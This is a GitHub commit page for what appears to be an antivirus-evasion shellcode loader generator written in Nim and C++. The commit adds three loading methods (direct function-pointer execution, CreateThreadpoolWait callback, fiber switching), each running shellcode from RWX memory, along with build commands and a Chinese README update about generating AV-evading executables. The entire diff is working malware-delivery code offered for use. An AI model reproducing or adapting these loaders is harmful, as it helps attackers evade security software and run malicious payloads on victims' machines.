Skip to content

Commit 323eabd

Browse files
author
mysa
committed
增加shellcode加载方式
增加了shellcode加载方式,分别为Direct Load、CreateThreatPoolWait、Fiber Load
1 parent db408c0 commit 323eabd

7 files changed

+55
-2
lines changed

Compiler.ini

+4-1
Original file line numberDiff line numberDiff line change
@@ -2,4 +2,7 @@
22
OEP Hiijack-Inject Load=nim cpp -d:<encrypt> --passL:-static -d:release -d:source="<source>" --app:gui --passL:-lntdll --opt:size -o:.\bin\ -f OEP_Hiijack_Inject_Load.nim
33
Thread Hiijack-Inject Load=nim cpp -d:<encrypt> --passL:-static -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Thread_Hiijack_Inject_Load.nim
44
APC-Ijnect Load=nim cpp -d:<encrypt> --passL:-static -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f APC_Ijnect_Load.nim
5-
Early Bird APC-Injetc Load=nim cpp -d:<encrypt> --passL:-static -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Early_Bird_APC_Injetc_Load.nim
5+
Early Bird APC-Injetc Load=nim cpp -d:<encrypt> --passL:-static -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Early_Bird_APC_Injetc_Load.nim
6+
Direct Load=nim cpp -d:<encrypt> --passL:-static -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Direct_Load.nim
7+
CreateThreatPoolWait Load=nim c -d:<encrypt> -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Thread_Pool_Wait.nim
8+
Fiber Load=nim c -d:<encrypt> -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Fiber_Load.nim

Direct_Load.nim

+6
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
import public
2+
3+
{.compile: "module\\Direct_Load.cpp".}
4+
proc Direct_LoadNim(plainBuffer:cstring,size:cint):cint {.importcpp:"Direct_Load(@)",header:"module\\public.hpp".}
5+
6+
discard Direct_LoadNim(code,codelen)

Fiber_Load.nim

+13
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
import winim/lean
2+
import public
3+
4+
proc fiberload(shellcode:cstring,shellcodelen:cint): void =
5+
let rPtr = VirtualAlloc(NULL,cast[SIZE_T](shellcode.len),MEM_COMMIT,PAGE_EXECUTE_READ_WRITE)
6+
copyMem(rPtr,shellcode,shellcodelen)
7+
discard ConvertThreadToFiber(NULL)
8+
let shellcodeFiber = CreateFiber(cast[SIZE_T](shellcodelen),cast[LPFIBER_START_ROUTINE](rPtr),NULL)
9+
SwitchToFiber(shellcodeFiber)
10+
DeleteFiber(shellcodeFiber)
11+
12+
when isMainModule:
13+
fiberload(code,codelen)

README.md

+8
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,10 @@
22
快速生成免杀可执行文件
33

44
![codeloader](pic/codeloader.png)
5+
## 更新:
6+
7+
**20210123:增加三种加载`shellcode`方式,其中两种使用了[winim](https://github.com/khchen/winim)库,需要安装该库才能正常编译**
8+
59
## 特点:
610

711
1:自带四种加载方式
@@ -59,6 +63,10 @@
5963

6064
![config](pic/config.png)
6165

66+
## 更新:
67+
68+
**20210123:增加三种加载`shellcode`方式,其中两种使用了[winim](https://github.com/khchen/winim)库,需要安装该库才能正常编译**
69+
6270
## 引用:
6371

6472
都是网上公开的方法

Thread_Pool_Wait.nim

+13
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
import winim/lean
2+
import public
3+
4+
proc threadpool(shellcode:cstring,shellcodelen:cint): void =
5+
let rPtr = VirtualAlloc(NULL,cast[SIZE_T](shellcode.len),MEM_COMMIT,PAGE_EXECUTE_READ_WRITE)
6+
copyMem(rPtr,shellcode,shellcodelen)
7+
let event = CreateEvent(NULL,FALSE,TRUE,NULL)
8+
let threadPoolWait = CreateThreadpoolWait(cast[PTP_WAIT_CALLBACK](rPtr),NULL,NULL)
9+
SetThreadpoolWait(threadPoolWait,event,NULL)
10+
WaitForSingleObject(event,INFINITE)
11+
12+
when isMainModule:
13+
threadpool(code,codelen)

module/Direct_Load.cpp

+9
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
#include "public.hpp"
2+
3+
int Direct_Load(char *shellcode,SIZE_T shellcodeSize)
4+
{
5+
LPVOID Memory = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
6+
memcpy(Memory, shellcode, shellcodeSize);
7+
((void(*)())Memory)();
8+
return 0;
9+
}

module/public.hpp

+2-1
Original file line numberDiff line numberDiff line change
@@ -4,4 +4,5 @@
44
int APC(char *buf,SIZE_T shellSize);
55
int Early(char *shellcode,SIZE_T shellcodeSize);
66
int OEP(char *shellcode,SIZE_T shellcodeSize);
7-
int Thread(char *shellcode,SIZE_T shellcodeSize);
7+
int Thread(char *shellcode,SIZE_T shellcodeSize);
8+
int Direct_Load(char *shellcode,SIZE_T shellcodeSize);

0 commit comments

Comments
 (0)